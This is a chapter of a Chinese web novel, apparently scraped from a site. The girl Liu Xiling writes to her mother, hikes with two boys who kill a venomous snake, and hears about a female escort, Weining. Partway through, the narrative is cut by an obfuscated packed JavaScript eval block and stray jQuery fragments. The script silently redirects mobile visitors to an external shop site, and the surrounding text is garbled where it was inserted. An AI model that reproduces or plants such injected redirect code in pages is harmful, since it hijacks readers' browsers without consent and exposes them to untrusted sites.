10. 淮西又西5
    夜里,她湿着头发给母亲写信。

    刘溪鸰写信时也喜欢涂画些东西,但这与唐祁所说的复刻不同,她的画是许愿。譬如画个葡萄,便写上“想吃葡萄”。而沈拂收到后便会给捎些葡萄样的珠钗首饰,或是印着葡萄纹样的丝绢子;又譬如她画些饼子,便会捎真的点心。由于常常异地相隔,母女二人便有了这么个不算寻常的习惯。

    她识字不算太多,便简单写了写这几日的事情,随意画了几个小人,几座小山,以表最近过得还算不错。写完后她掏出来个布包,里面是一封封叠放整齐的信,是娘俩的全部信件。这里面的每一封她都已经看了又看,如今那信的折痕也是旧了又旧,她怕折坏,也不敢轻易打开读了,只得数了又数。

    刚刚七十封。最近一封还是沈舜临走时给的那张字条,纸张短短的,字也有些草。算起来舅舅和娘到现在也还没来封信,也不知家中的事究竟如何了。她伸了个懒腰,看来明日得去问问那唐叔父了。

    ——分割线——

    自上回同何舒二人去了趟那女郎山,几人倒是亲近了些许。一来这两小子终于发现刘大小姐并不似那真千金般难伺候,甚至可以说极好说话,当然他们也没见过真千金;二来这县里的伙伴们大多以男娃居多,刘大小姐虽不是什么国色天香,但横竖也算白净漂亮的小姑娘,走到哪儿也都叫人欢喜看。三人正热乎着呢。

    今日,三人便早早出发去了另一座山。可今天的地方挺远,回来本就是有些晚的,没成想返程到一半,刘溪鸰却磨了脚,一瘸一拐的硬是走不动道。无法,何衍和舒放只好一个在前头背,一个在后头推,吭哧吭哧了一路。

    终于看到了山脚,何衍便累瘫在那树荫下,忍不住哼道:“下回你走不动,就别来,我可不背你了!”

    舒放帮腔:“就是,再有下回你就别来了!看给我俩累的。要不是你,我这会儿都吃饱饭了!”

    “又没叫你背!”刘溪鸰怒道,“是你们走太快,我跟不上!哪里是我走不动了。”

    何衍建议:“要不你每日来跟我们一起蹲马步?一开始陈西那小子也是走不快的,后来跟我们练了个把月,你瞧,那健步如飞的!”

    舒放道:“欸,好主意,宝师傅前头还说你腰杆子生的好,力气小,最适合练软剑!哼,我想练那把软剑他还非让我练刀呢!”

    “我才不去呢!”她记得那把软剑,是框在腰上的,猛地一拔出来就会“仓浪浪浪浪浪浪”个不停,上下扭动得活像一条大蛇,她一度怀疑如果是自己舞起来,它能反过来抽到自己脸上。

    天色渐渐擦黑,山里凉意袭来,何舒二人却好似习以为常,刘溪鸰却搓着手臂:“歇好了咱们走吧,这个时辰,山里都黑黢黢的,你们不怕吗?”

    “怕啥?”何衍递给她火把。

    “怕鬼。”

    “哦哟,我看是鬼怕你吧!”舒放大笑。

    二人正在那拌嘴,何衍却脸色一变:“阿鸰,别动。”说罢便直勾勾盯着她的身后屏息不语。

    舒放一听,贼兮兮地瞥一眼何衍,也连忙作了个惊恐状回头:“啊怎么了……!啊你你你……”哪知这一看,一张小方脸还真白了一白。

    “我怎地了?”刘溪鸰莫名,正欲回头。

    “别动!”他低吼,一面抖着嘴,一面伸手嗳暧,“你你,别管……别动,别动。”

    “怎么……”

    何衍眼神机警地盯着她的肩头,阔嘴一抿,从鼻子里哼道:“别动就是了。”

    说着便抬剑起势。

    刘溪鸰正要回头,却只觉眼前白光一闪,欻。

    跟着一缕头发就落了下来。定睛一看,何衍的剑尖上扎着一条翠绿的蛇,三角头红信子,显然是有毒的。黑暗中,它的身子已痉挛挣扎成了麻花的模样。他啧了一声:“还是偏了点!”

    刘溪鸰却已经捂着胸口一蹦老远:“那可不吗!你差点戳烂我的衣服,我可是女的!”

    何衍举着那蛇端详着,凉凉瞧她一眼:“这时候你倒惦记你是女的了?放心,这点准头我还是有的,就是可惜了你的头发。我听说,你们官家大小姐最讲究这套,身体发肤受之父母,女孩的头发倒是要紧!”

    尽管心口直突突,她却也没忘了反驳:“我可不是什么大小姐!我头发就是再绞短些,也好得很!”她的头发又硬又滑,冯妈妈不大会梳头,帮她绑个简单的发髻也梳得头皮生疼,若是短些倒好办了,可学男子一样用方巾包起来。

    舒放搡了她一把:“你说你!皮得多厚!那么大条蛇爬你身上你没发现?”

    “得亏没发现,不然滋哇乱喊的没得还被咬了。”何衍说着,麻利的开始剥蛇皮,不一会儿,两指粗的竹叶青便皮是皮肉是肉。只听“啵”的一声,一粒蚕豆大的青胆便流出了青蓝的汁液。

    “快快快,哎呀你都捏破了!给我给我!”舒放急了,忙张大了嘴去接。

    她在一旁看得咋舌,舒放舔舔嘴,朝她神气一笑,“还剩半袋,要不试试,好东西,百毒不侵哦!”

    刘溪鸰脸一皱:“我讨厌苦的东西,你们太凶残了,那还是活的呢!”

    何衍一笑,又挽了个剑花,随意舞了两下。刷刷两道剑光凌厉地破开她眼前的风,一阵凉意自她面上拂过,破空之声直略向她头顶。

    下一刻,一截胳膊粗的断枝便被削了下来,而那剑锋在她眼前堪堪停了一两息,却纹丝不动。这剑就是她先前早上没拔出来的那把。很重,可想握剑之人的下盘和腕臂得须如何稳当才能有这样流畅稳重的剑势。

    “知道为啥我们不怕天黑进山了吧?”何衍笑言,面上尚有一些掩不住的得意。

    她不由叹道:“好剑法!厉害厉害!”

    舒放道:“阿衍哥的剑法,那可是大人都没有不夸的!”

    何衍道:“说到剑,我说真的,宝师傅前天还问你怎么没来,我瞧他甚是喜欢你,他家女儿也是练软剑的,但她天资没你好,软剑要的是悟性和灵气,就适合你这小胳膊短腿的!”

    “他还有个女儿?”

    何衍点头:“嗯,她和我差不多大,不过这些子出去走镖了,你没见过。”

    “走镖?女孩家真的可以当镖师吗?”这倒是头一回听说,以前她只在演义里瞧见过。

    何衍反问:“走南闯北靠本事吃饭,有何不可?”

    “我以为娘家不许女孩抛头露面呢!”

    “谁也不愿意抛头露面,”何衍叹气,“宝师傅媳妇走的早,也没续娶。那阵子大旱饥荒,父女俩一路讨饭才来了这处,得亏有一身的武艺傍身,这才留了下来。再后来,宝师傅伤了腰,只能她一个女儿家挑起担子了。”说着摇摇头,像是颇为唏嘘这位陈家小姐的遭遇。

    “那她为何不嫁人?这样兴许能少些负担。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058977|137641||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    何衍:“兴许她也有她的难处。”

    舒放在一旁激动插嘴:“我晓得!家里头给她说了亲,但她都瞧不上,说一户黄一户,做娘子的嫌穷,做妾的她嫌不划算!欸,你别瞪我,我可没胡说,我听冯妈妈说的!”

    他开始绘声绘色,“她说陈西有一表兄在县府上做衙役,瞧上了维宁姐,想叫冯妈妈说和说和,可维宁姐偏眼睛都不抬一下,冯妈妈老不高兴了,说人家都不嫌弃她们父女是个没根没底跑江湖的,她倒嫌弃人家是个粗人,一心想嫁相公!”

    刘溪鸰道:“没根没底?这么说宝师傅不是这儿的人了?”

    “不是,他们虽然姓也陈,但是是从冀州那处来的,北边那个冀州,不是你舅那个蓟州,那儿离这可不止千百里。”

    “冀州这么远!果然还是得功夫好啊。”换成她,别说半道了,二里地不到就歇菜了。

    何衍叹道:“功夫再好又如何?还是要寻个落脚之处的,谁也不愿飘零着过日子!”

    “这我就不懂了,那她为啥还要去做镖师?不也是成天飘来飘去的,不能换门手艺?”

    何衍摇头:“她总得吃饭啊。外头是苦,可何处不苦呢?”

    刘溪鸰眼珠一转,“欸,既然你俩个一边大,宝师傅又是你的师傅,你这么向着她,”她鸡贼地捅捅他,“欸,你说你不如近水……”

    何衍如何不晓得她的意思,断然道:“别胡说啊你,我可没那意思,你这话若叫师傅听了去,我可没脸见他了!”

    刘溪鸰心道这人怎地还古板上了,“好好好,是我阿衍哥见多识广又心善温良!”

    何衍谦虚道:“见识谈不上,不过民生多艰,相互同情罢了!”

    “哎呀,你没有见识你家大人有嘛。”

    “这倒是真的。跟着大人一路走来,我才晓得咱们的命已不算差了!”

    他是唐祁的远亲,大旱那几年,全家饿的就剩了他一个人,长身体的时候又没吃食。无法,只得投奔了大几岁的唐祁,也算是运气好,跟对了人,这唐祁一考便中,日子才好了起来。主仆二人在此地的三年里,常常外出其他州路,也见到了不少真正的苦难。

    这小小县城四周环山,春季的夜晚已有些虫子细细簌簌的出来活动了,月色朦胧下倒也是另有一番情志,几人越聊越热闹。

    何衍:“哎,你真不跟我们一块儿练?不说练个什么绝世高手出来,但好歹下回再走不动,不准再撒泼赖皮叫人背你啊!”

    刘溪鸰:“谁撒泼赖皮了!”

    舒放:“去嘛,我们很多人一块的。还能玩别的,还能带你骑马!”

    “你休想诓我!”

    ————

    月色不薄,几人举着火把终于在戌时一刻赶了回去。

    夜里,唐祁终于给她带来了淮西的信。她喜滋滋地提笔写起了今天听到的大人物——陈家那个女镖师,往常那都是在画本子里才能看到的,今天她才晓得,原来侠女就在自己身边:

    “不知那维宁姐姐的生活,是否也如书中一样,虽然辛苦却有趣?我真想去瞧瞧。娘,你说我要是同她一样,会不会摇身一变成一个惊世的侠女呢?就像那窈七一样。”

    她正幻想着,又瞧着纸上的寥寥数语。不知为何,她总觉得这信有些过于简洁潦草了,急匆匆的。

    难道半个月过去了,家中竟然还是这样忙?